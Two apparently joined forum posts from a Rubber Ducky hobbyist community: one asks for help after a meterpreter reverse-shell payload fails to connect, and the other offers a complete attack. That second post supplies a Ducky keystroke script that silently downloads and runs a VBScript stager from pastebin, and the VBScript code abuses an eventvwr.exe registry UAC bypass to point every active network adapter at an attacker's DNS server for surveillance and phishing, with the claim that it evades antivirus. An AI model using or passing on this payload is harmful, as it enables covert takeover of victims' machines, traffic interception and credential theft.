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So I literally just finished copying this tutorial ... https://www.youtube.com/watch?v=fmRRX7-G4lc And everything went smoothly... Apart from when I plugged in the duck... Nothing happened on my Kali MSF... No shells were caught? I should first off mention that my target machine was actually a 64 bit windows, so i had to change the msfvenom -a to x64 and change the payload to windows/x64/meterpreter/reverse_tcp... But besides that everything went ok... So because the shell wasnt being caught, I decided to open up powershell my self, and manually type in the code that the ducky inject.bin is trying to run in powershell.... and i got this error... So I think the reason nothing happens when I plug the duck in, is because in the background (because obviously it is commanded to be hidden in the inject.bin) this is happening... making MSF not catch a shell... Please could anyone take a look at this and help me overcome this error please. I would be forever grateful! Thank you hak5 enthusiasts! <3

This is a payload mainly based of the UAC bypassing download and execute payload generator i released not so long ago I strongly suggest you check that out first. https://www.youtube.com/watch?v=fmRRX7-G4lc https://github.com/SkiddieTech/UAC-D-E-Rubber-Ducky So the goal of this payload is to add a new primary "malicious" DNS server for all active networks devices on any windows computer, to do this we use the UAC bypass method used in the above payload , but in a different payload (also in the same "Visual basic " script format) The "gain" from this would be to surveillance DNS requests and/or setup phishing websites targeted/customized for those requests/victim. So for the ducky script we are going to be using the following code DELAY 1000 GUI r DELAY 100 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('[SOURCE]', '%temp%/[NAME]'); %temp%/[NAME] ENTER You wanna replace the "[NAME]" with a random name value ending in the .vbs extensions (Example: update.vbs) You wanna replace the [SOURCE] with the URL for the stager payload source(below) preferably hosted on paste-bin (Example: http://www.pastebin.com/raw/NEyDVtER ) <- /raw/ is IMPORTANT) Here is the .vbs payload. Dim objWMIService, objShell, colItems, objItem Set objShell = CreateObject("Wscript.Shell") Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionStatus = 2") 'For each active network adapter For Each objItem in colItems 'Write UAC bypass regkey with the cmd command as value CreateObject("WScript.Shell").RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", "cmd /c netsh interface ipv4 set dns " + chr(34) + objItem.NetConnectionID + chr(34) + " static X.X.X.X primary" ,"REG_SZ" 'Trigger UAC bypass CreateObject("WScript.Shell").Run("eventvwr.exe"),0,true 'Reset regkey GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv").DeleteValue &H80000001,"Software\Classes\mscfile\shell\open\command\","" Next Here you wanna replace "X.X.X.X" with your malicious DNS server. If you need help setting up the DNS server you can have a look at this tutorial -> https://blog.heckel.xyz/2013/07/18/how-to-dns-spoofing-with-a-simple-dns-server-using-dnsmasq/ This again just show how fast,effective,invisible and powerless staged payloads for the rubber ducky is, especially with the UAC bypass integrated . Also, from what i can tell this bypasses all av's... Best Regards ~Skiddie